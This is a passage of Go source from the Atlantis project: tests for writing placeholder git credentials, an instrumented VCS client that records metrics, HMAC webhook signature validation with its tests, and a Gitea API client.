logging.NewNoopLogger(t) tmp := t.TempDir() t.Setenv("HOME", tmp) err := common.WriteGitCreds("user", "token", "hostname", tmp, logger, false) Ok(t, err) expContents := `https://user:token@hostname` actContents, err := os.ReadFile(filepath.Join(tmp, ".git-credentials")) Ok(t, err) Equals(t, expContents, string(actContents)) } // Test that if the file already exists and it doesn't have the line we would // have written, we write it. func TestWriteGitCreds_Appends(t *testing.T) { logger := logging.NewNoopLogger(t) tmp := t.TempDir() t.Setenv("HOME", tmp) credsFile := filepath.Join(tmp, ".git-credentials") err := os.WriteFile(credsFile, []byte("contents"), 0600) Ok(t, err) err = common.WriteGitCreds("user", "token", "hostname", tmp, logger, false) Ok(t, err) expContents := "contents\nhttps://user:token@hostname" actContents, err := os.ReadFile(filepath.Join(tmp, ".git-credentials")) Ok(t, err) Equals(t, expContents, string(actContents)) } // Test that if the file already exists and it already has the line expected // we do nothing. func TestWriteGitCreds_NoModification(t *testing.T) { logger := logging.NewNoopLogger(t) tmp := t.TempDir() t.Setenv("HOME", tmp) credsFile := filepath.Join(tmp, ".git-credentials") contents := "line1\nhttps://user:token@hostname\nline2" err := os.WriteFile(credsFile, []byte(contents), 0600) Ok(t, err) err = common.WriteGitCreds("user", "token", "hostname", tmp, logger, false) Ok(t, err) actContents, err := os.ReadFile(filepath.Join(tmp, ".git-credentials")) Ok(t, err) Equals(t, contents, string(actContents)) } // Test that the github app credentials get replaced. func TestWriteGitCreds_ReplaceApp(t *testing.T) { logger := logging.NewNoopLogger(t) tmp := t.TempDir() t.Setenv("HOME", tmp) credsFile := filepath.Join(tmp, ".git-credentials") contents := "line1\nhttps://x-access-token:v1.87dddddddddddddddd@github.com\nline2" err := os.WriteFile(credsFile, []byte(contents), 0600) Ok(t, err) err = common.WriteGitCreds("x-access-token", "token", "github.com", tmp, logger, true) Ok(t, err) expContents := "line1\nhttps://x-access-token:token@github.com\nline2" actContents, err := os.ReadFile(filepath.Join(tmp, ".git-credentials")) Ok(t, err) Equals(t, expContents, string(actContents)) } // Test that the github app credential gets added even if there are other credentials. func TestWriteGitCreds_AppendAppWhenFileNotEmpty(t *testing.T) { logger := logging.NewNoopLogger(t) tmp := t.TempDir() t.Setenv("HOME", tmp) credsFile := filepath.Join(tmp, ".git-credentials") contents := "line1\nhttps://user:token@host.com\nline2" err := os.WriteFile(credsFile, []byte(contents), 0600) Ok(t, err) err = common.WriteGitCreds("x-access-token", "token", "github.com", tmp, logger, true) Ok(t, err) expContents := "line1\nhttps://user:token@host.com\nline2\nhttps://x-access-token:token@github.com" actContents, err := os.ReadFile(filepath.Join(tmp, ".git-credentials")) Ok(t, err) Equals(t, expContents, string(actContents)) } // Test that the github app credentials get updated when cred file is empty. func TestWriteGitCreds_AppendApp(t *testing.T) { logger := logging.NewNoopLogger(t) tmp := t.TempDir() t.Setenv("HOME", tmp) credsFile := filepath.Join(tmp, ".git-credentials") contents := "" err := os.WriteFile(credsFile, []byte(contents), 0600) Ok(t, err) err = common.WriteGitCreds("x-access-token", "token", "github.com", tmp, logger, true) Ok(t, err) expContents := "https://x-access-token:token@github.com" actContents, err := os.ReadFile(filepath.Join(tmp, ".git-credentials")) Ok(t, err) Equals(t, expContents, string(actContents)) } // Test that if we can't read the existing file to see if the contents will be // the same that we just error out. func TestWriteGitCreds_ErrIfCannotRead(t *testing.T) { logger := logging.NewNoopLogger(t) tmp := t.TempDir() t.Setenv("HOME", tmp) credsFile := filepath.Join(tmp, ".git-credentials") err := os.WriteFile(credsFile, []byte("can't see me!"), 0000) Ok(t, err) expErr := fmt.Sprintf("open %s: permission denied", credsFile) actErr := common.WriteGitCreds("user", "token", "hostname", tmp, logger, false) ErrContains(t, expErr, actErr) } // Test that if we can't write, we error out. func TestWriteGitCreds_ErrIfCannotWrite(t *testing.T) { logger := logging.NewNoopLogger(t) credsFile := "/this/dir/does/not/exist/.git-credentials" // nolint: gosec expErr := fmt.Sprintf("writing generated .git-credentials file with user, token and hostname to %s: open %s: no such file or directory", credsFile, credsFile) actErr := common.WriteGitCreds("user", "token", "hostname", "/this/dir/does/not/exist", logger, false) ErrEquals(t, expErr, actErr) } // Test that git is actually configured to use the credentials func TestWriteGitCreds_ConfigureGitCredentialHelper(t *testing.T) { logger := logging.NewNoopLogger(t) tmp := t.TempDir() t.Setenv("HOME", tmp) err := common.WriteGitCreds("user", "token", "hostname", tmp, logger, false) Ok(t, err) expOutput := `store` actOutput, err := exec.Command("git", "config", "--global", "credential.helper").Output() Ok(t, err) Equals(t, expOutput+"\n", string(actOutput)) } // Test that git is configured to use https instead of ssh func TestWriteGitCreds_ConfigureGitUrlOverride(t *testing.T) { logger := logging.NewNoopLogger(t) tmp := t.TempDir() t.Setenv("HOME", tmp) err := common.WriteGitCreds("user", "token", "hostname", tmp, logger, false) Ok(t, err) expOutput := `ssh://git@hostname` actOutput, err := exec.Command("git", "config", "--global", "url.https://user@hostname.insteadof").Output() Ok(t, err) Equals(t, expOutput+"\n", string(actOutput)) } ================================================ FILE: server/events/vcs/common/instrumented_client.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package common import ( "strconv" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/vcs" "github.com/runatlantis/atlantis/server/logging" "github.com/runatlantis/atlantis/server/metrics" tally "github.com/uber-go/tally/v4" ) type InstrumentedClient struct { vcs.Client StatsScope tally.Scope Logger logging.SimpleLogging } func (c *InstrumentedClient) GetModifiedFiles(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) ([]string, error) { scope := c.StatsScope.SubScope("get_modified_files") scope = SetGitScopeTags(scope, repo.FullName, pull.Num) executionTime := scope.Timer(metrics.ExecutionTimeMetric).Start() defer executionTime.Stop() executionSuccess := scope.Counter(metrics.ExecutionSuccessMetric) executionError := scope.Counter(metrics.ExecutionErrorMetric) files, err := c.Client.GetModifiedFiles(logger, repo, pull) if err != nil { executionError.Inc(1) logger.Err("Unable to get modified files, error: %s", err.Error()) } else { executionSuccess.Inc(1) } return files, err } func (c *InstrumentedClient) CreateComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, comment string, command string) error { scope := c.StatsScope.SubScope("create_comment") scope = SetGitScopeTags(scope, repo.FullName, pullNum) executionTime := scope.Timer(metrics.ExecutionTimeMetric).Start() defer executionTime.Stop() executionSuccess := scope.Counter(metrics.ExecutionSuccessMetric) executionError := scope.Counter(metrics.ExecutionErrorMetric) if err := c.Client.CreateComment(logger, repo, pullNum, comment, command); err != nil { executionError.Inc(1) logger.Err("Unable to create comment for command %s, error: %s", command, err.Error()) return err } executionSuccess.Inc(1) return nil } func (c *InstrumentedClient) ReactToComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, commentID int64, reaction string) error { scope := c.StatsScope.SubScope("react_to_comment") executionTime := scope.Timer(metrics.ExecutionTimeMetric).Start() defer executionTime.Stop() executionSuccess := scope.Counter(metrics.ExecutionSuccessMetric) executionError := scope.Counter(metrics.ExecutionErrorMetric) if err := c.Client.ReactToComment(logger, repo, pullNum, commentID, reaction); err != nil { executionError.Inc(1) logger.Err("Unable to react to comment, error: %s", err.Error()) return err } executionSuccess.Inc(1) return nil } func (c *InstrumentedClient) HidePrevCommandComments(logger logging.SimpleLogging, repo models.Repo, pullNum int, command string, dir string) error { scope := c.StatsScope.SubScope("hide_prev_plan_comments") scope = SetGitScopeTags(scope, repo.FullName, pullNum) executionTime := scope.Timer(metrics.ExecutionTimeMetric).Start() defer executionTime.Stop() executionSuccess := scope.Counter(metrics.ExecutionSuccessMetric) executionError := scope.Counter(metrics.ExecutionErrorMetric) if err := c.Client.HidePrevCommandComments(logger, repo, pullNum, command, dir); err != nil { executionError.Inc(1) logger.Err("Unable to hide previous %s comments, error: %s", command, err.Error()) return err } executionSuccess.Inc(1) return nil } func (c *InstrumentedClient) PullIsApproved(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) (models.ApprovalStatus, error) { scope := c.StatsScope.SubScope("pull_is_approved") scope = SetGitScopeTags(scope, repo.FullName, pull.Num) executionTime := scope.Timer(metrics.ExecutionTimeMetric).Start() defer executionTime.Stop() executionSuccess := scope.Counter(metrics.ExecutionSuccessMetric) executionError := scope.Counter(metrics.ExecutionErrorMetric) approved, err := c.Client.PullIsApproved(logger, repo, pull) if err != nil { executionError.Inc(1) logger.Err("Unable to check pull approval status, error: %s", err.Error()) } else { executionSuccess.Inc(1) } return approved, err } func (c *InstrumentedClient) PullIsMergeable(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, vcsstatusname string, ignoreVCSStatusNames []string) (models.MergeableStatus, error) { scope := c.StatsScope.SubScope("pull_is_mergeable") scope = SetGitScopeTags(scope, repo.FullName, pull.Num) executionTime := scope.Timer(metrics.ExecutionTimeMetric).Start() defer executionTime.Stop() executionSuccess := scope.Counter(metrics.ExecutionSuccessMetric) executionError := scope.Counter(metrics.ExecutionErrorMetric) mergeable, err := c.Client.PullIsMergeable(logger, repo, pull, vcsstatusname, ignoreVCSStatusNames) if err != nil { executionError.Inc(1) logger.Err("Unable to check pull mergeable status, error: %s", err.Error()) } else { executionSuccess.Inc(1) } return mergeable, err } func (c *InstrumentedClient) UpdateStatus(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, state models.CommitStatus, src string, description string, url string) error { // If the plan isn't coming from a pull request, // don't attempt to update the status. if pull.Num == 0 { return nil } scope := c.StatsScope.SubScope("update_status") scope = SetGitScopeTags(scope, repo.FullName, pull.Num) executionTime := scope.Timer(metrics.ExecutionTimeMetric).Start() defer executionTime.Stop() executionSuccess := scope.Counter(metrics.ExecutionSuccessMetric) executionError := scope.Counter(metrics.ExecutionErrorMetric) if err := c.Client.UpdateStatus(logger, repo, pull, state, src, description, url); err != nil { executionError.Inc(1) logger.Err("Unable to update status at url: %s, error: %s", url, err.Error()) return err } executionSuccess.Inc(1) return nil } func (c *InstrumentedClient) MergePull(logger logging.SimpleLogging, pull models.PullRequest, pullOptions models.PullRequestOptions) error { scope := c.StatsScope.SubScope("merge_pull") scope = SetGitScopeTags(scope, pull.BaseRepo.FullName, pull.Num) executionTime := scope.Timer(metrics.ExecutionTimeMetric).Start() defer executionTime.Stop() executionSuccess := scope.Counter(metrics.ExecutionSuccessMetric) executionError := scope.Counter(metrics.ExecutionErrorMetric) if err := c.Client.MergePull(logger, pull, pullOptions); err != nil { executionError.Inc(1) logger.Err("Unable to merge pull, error: %s", err.Error()) return err } executionSuccess.Inc(1) return nil } func SetGitScopeTags(scope tally.Scope, repoFullName string, pullNum int) tally.Scope { return scope.Tagged(map[string]string{ "base_repo": repoFullName, "pr_number": strconv.Itoa(pullNum), }) } ================================================ FILE: server/events/vcs/common/request_validation.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package common import ( "crypto/hmac" "crypto/sha1" // nolint: gosec "crypto/sha256" "crypto/sha512" "encoding/hex" "errors" "fmt" "hash" "strings" ) // Attribution: This code is taken from https://github.com/google/go-github. func ValidateSignature(payload []byte, signature string, secretKey []byte) error { messageMAC, hashFunc, err := messageMAC(signature) if err != nil { return err } if !checkMAC(payload, messageMAC, secretKey, hashFunc) { return errors.New("payload signature check failed") } return nil } // genMAC generates the HMAC signature for a message provided the secret key // and hashFunc. func genMAC(message, key []byte, hashFunc func() hash.Hash) []byte { mac := hmac.New(hashFunc, key) // nolint: errcheck mac.Write(message) return mac.Sum(nil) } // checkMAC reports whether messageMAC is a valid HMAC tag for message. func checkMAC(message, messageMAC, key []byte, hashFunc func() hash.Hash) bool { expectedMAC := genMAC(message, key, hashFunc) return hmac.Equal(messageMAC, expectedMAC) } // messageMAC returns the hex-decoded HMAC tag from the signature and its // corresponding hash function. func messageMAC(signature string) ([]byte, func() hash.Hash, error) { if signature == "" { return nil, nil, errors.New("missing signature") } sigParts := strings.SplitN(signature, "=", 2) if len(sigParts) != 2 { return nil, nil, fmt.Errorf("error parsing signature %q", signature) } var hashFunc func() hash.Hash switch sigParts[0] { case "sha1": hashFunc = sha1.New case "sha256": hashFunc = sha256.New case "sha512": hashFunc = sha512.New default: return nil, nil, fmt.Errorf("unknown hash type prefix: %q", sigParts[0]) } buf, err := hex.DecodeString(sigParts[1]) if err != nil { return nil, nil, fmt.Errorf("error decoding signature %q: %v", signature, err) } return buf, hashFunc, nil } ================================================ FILE: server/events/vcs/common/request_validation_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package common_test import ( "testing" "github.com/runatlantis/atlantis/server/events/vcs/common" . "github.com/runatlantis/atlantis/testing" ) func TestValidateSignature(t *testing.T) { body := `{"eventKey":"pr:comment:added","date":"2018-07-24T15:10:05+0200","actor":{"name":"lkysow","emailAddress":"lkysow@gmail.com","id":1,"displayName":"Luke Kysow","active":true,"slug":"lkysow","type":"NORMAL"},"pullRequest":{"id":5,"version":0,"title":"another.tf edited online with Bitbucket","state":"OPEN","open":true,"closed":false,"createdDate":1532365427513,"updatedDate":1532365427513,"fromRef":{"id":"refs/heads/lkysow/anothertf-1532365422773","displayId":"lkysow/anothertf-1532365422773","latestCommit":"b52b8e254e956654dcdb394d0ccba9199f420427","repository":{"slug":"atlantis-example","id":1,"name":"atlantis-example","scmId":"git","state":"AVAILABLE","statusMessage":"Available","forkable":true,"project":{"key":"AT","id":1,"name":"atlantis","public":false,"type":"NORMAL"},"public":false}},"toRef":{"id":"refs/heads/master","displayId":"master","latestCommit":"0a338874369017deba7c22e99e6000932724282f","repository":{"slug":"atlantis-example","id":1,"name":"atlantis-example","scmId":"git","state":"AVAILABLE","statusMessage":"Available","forkable":true,"project":{"key":"AT","id":1,"name":"atlantis","public":false,"type":"NORMAL"},"public":false}},"locked":false,"author":{"user":{"name":"lkysow","emailAddress":"lkysow@gmail.com","id":1,"displayName":"Luke Kysow","active":true,"slug":"lkysow","type":"NORMAL"},"role":"AUTHOR","approved":false,"status":"UNAPPROVED"},"reviewers":[],"participants":[]},"comment":{"properties":{"repositoryId":1},"id":65,"version":0,"text":"comment","author":{"name":"lkysow","emailAddress":"lkysow@gmail.com","id":1,"displayName":"Luke Kysow","active":true,"slug":"lkysow","type":"NORMAL"},"createdDate":1532437805137,"updatedDate":1532437805137,"comments":[],"tasks":[]}}` secret := "mysecret" sig := `sha256=ed11f92d1565a4de586727fe8260558277d58009e8957a79eb4749a7009ce083` err := common.ValidateSignature([]byte(body), sig, []byte(secret)) Ok(t, err) } func TestValidateSignature_Invalid(t *testing.T) { body := `"eventKey":"pr:comment:added","date":"2018-07-24T15:10:05+0200","actor":{"name":"lkysow","emailAddress":"lkysow@gmail.com","id":1,"displayName":"Luke Kysow","active":true,"slug":"lkysow","type":"NORMAL"},"pullRequest":{"id":5,"version":0,"title":"another.tf edited online with Bitbucket","state":"OPEN","open":true,"closed":false,"createdDate":1532365427513,"updatedDate":1532365427513,"fromRef":{"id":"refs/heads/lkysow/anothertf-1532365422773","displayId":"lkysow/anothertf-1532365422773","latestCommit":"b52b8e254e956654dcdb394d0ccba9199f420427","repository":{"slug":"atlantis-example","id":1,"name":"atlantis-example","scmId":"git","state":"AVAILABLE","statusMessage":"Available","forkable":true,"project":{"key":"AT","id":1,"name":"atlantis","public":false,"type":"NORMAL"},"public":false}},"toRef":{"id":"refs/heads/main","displayId":"main","latestCommit":"0a338874369017deba7c22e99e6000932724282f","repository":{"slug":"atlantis-example","id":1,"name":"atlantis-example","scmId":"git","state":"AVAILABLE","statusMessage":"Available","forkable":true,"project":{"key":"AT","id":1,"name":"atlantis","public":false,"type":"NORMAL"},"public":false}},"locked":false,"author":{"user":{"name":"lkysow","emailAddress":"lkysow@gmail.com","id":1,"displayName":"Luke Kysow","active":true,"slug":"lkysow","type":"NORMAL"},"role":"AUTHOR","approved":false,"status":"UNAPPROVED"},"reviewers":[],"participants":[]},"comment":{"properties":{"repositoryId":1},"id":65,"version":0,"text":"comment","author":{"name":"lkysow","emailAddress":"lkysow@gmail.com","id":1,"displayName":"Luke Kysow","active":true,"slug":"lkysow","type":"NORMAL"},"createdDate":1532437805137,"updatedDate":1532437805137,"comments":[],"tasks":[]}}` secret := "mysecret" sig := `sha256=ed11f92d1565a4de586727fe8260558277d58009e8957a79eb4749a7009ce083` err := common.ValidateSignature([]byte(body), sig, []byte(secret)) ErrEquals(t, "payload signature check failed", err) } ================================================ FILE: server/events/vcs/gitea/client.go ================================================ // Copyright 2024 Martijn van der Kleijn & Florian Beisel // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package gitea import ( "context" "encoding/base64" "errors" "fmt" "strings" "time" "code.gitea.io/sdk/gitea" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/logging" ) // Emergency break for Gitea pagination (just in case) // Set to 500 to prevent runaway situations // Value chosen purposely high, though randomly. const giteaPaginationEBreak = 500 type Client struct { giteaClient *gitea.Client username string token string pageSize int ctx context.Context } type GiteaPRReviewSummary struct { Reviews []GiteaReview } type GiteaReview struct { ID int64 Body string Reviewer string State gitea.ReviewStateType // e.g., "APPROVED", "PENDING", "REQUEST_CHANGES" SubmittedAt time.Time } type GiteaPullGetter interface { GetPullRequest(repo models.Repo, pullNum int) (*gitea.PullRequest, error) } // New builds a client that makes API calls to Gitea. httpClient is the // client to use to make the requests, username and password are used as basic // auth in the requests, baseURL is the API's baseURL, ex. https://corp.com:7990. // Don't include the API version, ex. '/1.0'. func New(baseURL string, username string, token string, pagesize int, logger logging.SimpleLogging) (*Client, error) { logger.Debug("Creating new Gitea client for: %s", baseURL) giteaClient, err := gitea.NewClient(baseURL, gitea.SetToken(token), gitea.SetUserAgent("atlantis"), ) if err != nil { return nil, fmt.Errorf("creating gitea client: %w", err) } return &Client{ giteaClient: giteaClient, username: username, token: token, pageSize: pagesize, ctx: context.Background(), }, nil } func (c *Client) GetPullRequest(logger logging.SimpleLogging, repo models.Repo, pullNum int) (*gitea.PullRequest, error) { logger.Debug("Getting Gitea pull request %d", pullNum) pr, resp, err := c.giteaClient.GetPullRequest(repo.Owner, repo.Name, int64(pullNum)) if err != nil { logger.Debug("GET /repos/%v/%v/pulls/%d returned: %v", repo.Owner, repo.Name, pullNum, resp.StatusCode) return nil, err } return pr, nil } // GetModifiedFiles returns the names of files that were modified in the merge request // relative to the repo root, e.g. parent/child/file.txt. func (c *Client) GetModifiedFiles(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) ([]string, error) { logger.Debug("Getting modified files for Gitea pull request %d", pull.Num) changedFiles := make([]string, 0) page := 0 nextPage := 1 listOptions := gitea.ListPullRequestFilesOptions{ ListOptions: gitea.ListOptions{ Page: 1, PageSize: c.pageSize, }, } for page < nextPage { page = +1 listOptions.Page = page files, resp, err := c.giteaClient.ListPullRequestFiles(repo.Owner, repo.Name, int64(pull.Num), listOptions) if err != nil { logger.Debug("[page %d] GET /repos/%v/%v/pulls/%d/files returned: %v", page, repo.Owner, repo.Name, pull.Num, resp.StatusCode) return nil, err } for _, file := range files { changedFiles = append(changedFiles, file.Filename) } nextPage = resp.NextPage // Emergency break after giteaPaginationEBreak pages if page >= giteaPaginationEBreak { break } } return changedFiles, nil } // CreateComment creates a comment on the merge request. As far as we're aware, Gitea has no built in max comment length right now. func (c *Client) CreateComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, comment string, command string) error { logger.Debug("Creating comment on Gitea pull request %d", pullNum) opt := gitea.CreateIssueCommentOption{ Body: comment, } _, resp, err := c.giteaClient.CreateIssueComment(repo.Owner, repo.Name, int64(pullNum), opt) if err != nil { logger.Debug("POST /repos/%v/%v/issues/%d/comments returned: %v", repo.Owner, repo.Name, pullNum, resp.StatusCode) return err } logger.Debug("Added comment to Gitea pull request %d: %s", pullNum, comment) return nil } // ReactToComment adds a reaction to a comment. func (c *Client) ReactToComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, commentID int64, reaction string) error { logger.Debug("Adding reaction to Gitea pull request comment %d", commentID) _, resp, err := c.giteaClient.PostIssueCommentReaction(repo.Owner, repo.Name, commentID, reaction) if err != nil { logger.Debug("POST /repos/%v/%v/issues/comments/%d/reactions returned: %v", repo.Owner, repo.Name, commentID, resp.StatusCode) return err } return nil } // HidePrevCommandComments hides the previous command comments from the pull // request. func (c *Client) HidePrevCommandComments(logger logging.SimpleLogging, repo models.Repo, pullNum int, command string, dir string) error { logger.Debug("Hiding previous command comments on Gitea pull request %d", pullNum) var allComments []*gitea.Comment nextPage := int(1) for { // Initialize ListIssueCommentOptions with the current page opts := gitea.ListIssueCommentOptions{ ListOptions: gitea.ListOptions{ Page: nextPage, PageSize: c.pageSize, }, } comments, resp, err := c.giteaClient.ListIssueComments(repo.Owner, repo.Name, int64(pullNum), opts) if err != nil { logger.Debug("GET /repos/%v/%v/issues/%d/comments returned: %v", repo.Owner, repo.Name, pullNum, resp.StatusCode) return err } allComments = append(allComments, comments...) // Break the loop if there are no more pages to fetch if resp.NextPage == 0 { break } nextPage = resp.NextPage } currentUser, resp, err := c.giteaClient.GetMyUserInfo() if err != nil { logger.Debug("GET /user returned: %v", resp.StatusCode) return err } summaryHeader := fmt.Sprintf("
Superseded Atlantis %s", command) summaryFooter := "
" lineFeed := "\n" for _, comment := range allComments { if comment.Poster == nil || comment.Poster.UserName != currentUser.UserName { continue } body := strings.Split(comment.Body, "\n") if len(body) == 0 || (!strings.Contains(strings.ToLower(body[0]), strings.ToLower(command)) && dir != "" && !strings.Contains(strings.ToLower(body[0]), strings.ToLower(dir))) { continue } supersededComment := summaryHeader + lineFeed + comment.Body + lineFeed + summaryFooter + lineFeed logger.Debug("Hiding comment %s", comment.ID) _, _, err := c.giteaClient.EditIssueComment(repo.Owner, repo.Name, comment.ID, gitea.EditIssueCommentOption{ Body: supersededComment, }) if err != nil { return err } } return nil } // PullIsApproved returns ApprovalStatus with IsApproved set to true if the pull request has a review that approved the PR. func (c *Client) PullIsApproved(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) (models.ApprovalStatus, error) { logger.Debug("Checking if Gitea pull request %d is approved", pull.Num) page := 0 nextPage := 1 approvalStatus := models.ApprovalStatus{ IsApproved: false, } listOptions := gitea.ListPullReviewsOptions{ ListOptions: gitea.ListOptions{ Page: 1, PageSize: c.pageSize, }, } for page < nextPage { page = +1 listOptions.Page = page pullReviews, resp, err := c.giteaClient.ListPullReviews(repo.Owner, repo.Name, int64(pull.Num), listOptions) if err != nil { logger.Debug("GET /repos/%v/%v/pulls/%d/reviews returned: %v", repo.Owner, repo.Name, pull.Num, resp.StatusCode) return approvalStatus, err } for _, review := range pullReviews { if review.State == gitea.ReviewStateApproved { approvalStatus.IsApproved = true approvalStatus.ApprovedBy = review.Reviewer.UserName approvalStatus.Date = review.Submitted return approvalStatus, nil } } nextPage = resp.NextPage // Emergency break after giteaPaginationEBreak pages if page >= giteaPaginationEBreak { break } } return approvalStatus, nil } // PullIsMergeable returns true if the pull request is mergeable func (c *Client) PullIsMergeable(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, _ string, _ []string) (models.MergeableStatus, error) { logger.Debug("Checking if Gitea pull request %d is mergeable", pull.Num) pullRequest, _, err := c.giteaClient.GetPullRequest(repo.Owner, repo.Name, int64(pull.Num)) if err != nil { return models.MergeableStatus{}, err } logger.Debug("Gitea pull request is mergeable: %v (%v)", pullRequest.Mergeable, pull.Num) return models.MergeableStatus{ IsMergeable: pullRequest.Mergeable, }, nil } // UpdateStatus updates the commit status to state for pull. src is the // source of this status. This should be relatively static across runs, // ex. atlantis/plan or atlantis/apply. // description is a description of this particular status update and can // change across runs. // url is an optional link that users should click on for more information // about this status. func (c *Client) UpdateStatus(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, state models.CommitStatus, src string, description string, url string) error { giteaState := gitea.StatusFailure switch state { case models.PendingCommitStatus: giteaState = gitea.StatusPending case models.SuccessCommitStatus: giteaState = gitea.StatusSuccess case models.FailedCommitStatus: giteaState = gitea.StatusFailure } logger.Info("Updating Gitea check status for '%s' to '%s'", src, state) newStatusOption := gitea.CreateStatusOption{ State: giteaState, TargetURL: url, Description: description, } _, resp, err := c.giteaClient.CreateStatus(repo.Owner, repo.Name, pull.HeadCommit, newStatusOption) if err != nil { logger.Debug("POST /repos/%v/%v/statuses/%s returned: %v", repo.Owner, repo.Name, pull.HeadCommit, resp.StatusCode) return err } logger.Debug("Gitea status for pull request updated: %v (%v)", state, pull.Num) return nil } // DiscardReviews discards / dismisses all pull request reviews func (c *Client) DiscardReviews(_ logging.SimpleLogging, repo models.Repo, pull models.PullRequest) error { page := 0 nextPage := 1 dismissOptions := gitea.DismissPullReviewOptions{ Message: "Dismissed by Atlantis", } listOptions := gitea.ListPullReviewsOptions{ ListOptions: gitea.ListOptions{ Page: 1, PageSize: c.pageSize, }, } for page < nextPage { page = +1 listOptions.Page = page pullReviews, resp, err := c.giteaClient.ListPullReviews(repo.Owner, repo.Name, int64(pull.Num), listOptions) if err != nil { return err } for _, review := range pullReviews { _, err := c.giteaClient.DismissPullReview(repo.Owner, repo.Name, int64(pull.Num), review.ID, dismissOptions) if err != nil { return err } } nextPage = resp.NextPage // Emergency break after giteaPaginationEBreak pages if page >= giteaPaginationEBreak { break } } return nil } func (c *Client) MergePull(logger logging.SimpleLogging, pull models.PullRequest, pullOptions models.PullRequestOptions) error { logger.Debug("Merging Gitea pull request %d", pull.Num) mergeOptions := gitea.MergePullRequestOption{ Style: gitea.MergeStyleMerge, Title: "Atlantis merge", Message: "Automatic merge by Atlantis", DeleteBranchAfterMerge: pullOptions.DeleteSourceBranchOnMerge, ForceMerge: false, HeadCommitId: pull.HeadCommit, MergeWhenChecksSucceed: false, } succeeded, resp, err := c.giteaClient.MergePullRequest(pull.BaseRepo.Owner, pull.BaseRepo.Name, int64(pull.Num), mergeOptions) if err != nil { logger.Debug("POST /repos/%v/%v/pulls/%d/merge returned: %v", pull.BaseRepo.Owner, pull.BaseRepo.Name, pull.Num, resp.StatusCode) return err } if !succeeded { return fmt.Errorf("merge failed: %s", resp.Status) } return nil } // MarkdownPullLink specifies the string used in a pull request comment to reference another pull request. func (c *Client) MarkdownPullLink(pull models.PullRequest) (string, error) { return fmt.Sprintf("#%d", pull.Num), nil } // GetTeamNamesForUser returns the names of the teams or groups that the user belongs to (in the organization the repository belongs to). func (c *Client) GetTeamNamesForUser(_ logging.SimpleLogging, _ models.Repo, _ models.User) ([]string, error) { // TODO: implement return nil, errors.New("GetTeamNamesForUser not (yet) implemented for Gitea client") } // GetFileContent a repository file content from VCS (which support fetch a single file from repository) // The first return value indicates whether the repo contains a file or not // if BaseRepo had a file, its content will placed on the second return value func (c *Client) GetFileContent(logger logging.SimpleLogging, repo models.Repo, branch string, fileName string) (bool, []byte, error) { logger.Debug("Getting Gitea file content for file '%s'", fileName) content, resp, err := c.giteaClient.GetContents(repo.Owner, repo.Name, branch, fileName) if err != nil { logger.Debug("GET /repos/%v/%v/contents/%s?ref=%v returned: %v", repo.Owner, repo.Name, fileName, branch, resp.StatusCode) return false, nil, err } if content.Type == "file" { decodedData, err := base64.StdEncoding.DecodeString(*content.Content) if err != nil { return true, []byte{}, err } return true, decodedData, nil } return false, nil, nil } // SupportsSingleFileDownload returns true if the VCS supports downloading a single file func (c *Client) SupportsSingleFileDownload(repo models.Repo) bool { return true } // GetCloneURL returns the clone URL of the repo func (c *Client) GetCloneURL(logger logging.SimpleLogging, _ models.VCSHostType, repo string) (string, error) { logger.Debug("Getting clone URL for %s", repo) parts := strings.Split(repo, "/") if len(parts) < 2 { return "", errors.New("invalid repo format, expected 'owner/repo'") } repository, _, err := c.giteaClient.GetRepo(parts[0], parts[1]) if err != nil { logger.Debug("GET /repos/%v/%v returned an error: %v", parts[0], parts[1], err) return "", err } return repository.CloneURL, nil } // GetPullLabels returns the labels of a pull request func (c *Client) GetPullLabels(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) ([]string, error) { logger.Debug("Getting labels for Gitea pull request %d", pull.Num) page := 0 nextPage := 1 results := make([]string, 0) opts := gitea.ListLabelsOptions{ ListOptions: gitea.ListOptions{ Page: 0, PageSize: c.pageSize, }, } for page < nextPage { page = +1 opts.Page = page labels, resp, err := c.giteaClient.GetIssueLabels(repo.Owner, repo.Name, int64(pull.Num), opts) if err != nil { logger.Debug("GET /repos/%v/%v/issues/%d/labels?%v returned: %v", repo.Owner, repo.Name, pull.Num, "unknown", resp.StatusCode) return nil, err } for _, label := range labels { results = append(results, label.Name) } nextPage = resp.NextPage // Emergency break after giteaPaginationEBreak pages if page >= giteaPaginationEBreak { break } } return results, nil } func ValidateSignature(payload []byte, signature string, secretKey []byte) error { isValid, err := gitea.VerifyWebhookSignature(string(secretKey), signature, payload) if err != nil { return errors.New("signature verification internal error") } if !isValid { return errors.New("invalid signature") } return nil } ================================================ FILE: server/events/vcs/gitea/models.go ================================================ // Copyright 2024 Florian Beisel // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package gitea import "code.gitea.io/sdk/gitea" type GiteaWebhookPayload struct { Action string `json:"action"` Number int `json:"number"` PullRequest gitea.PullRequest 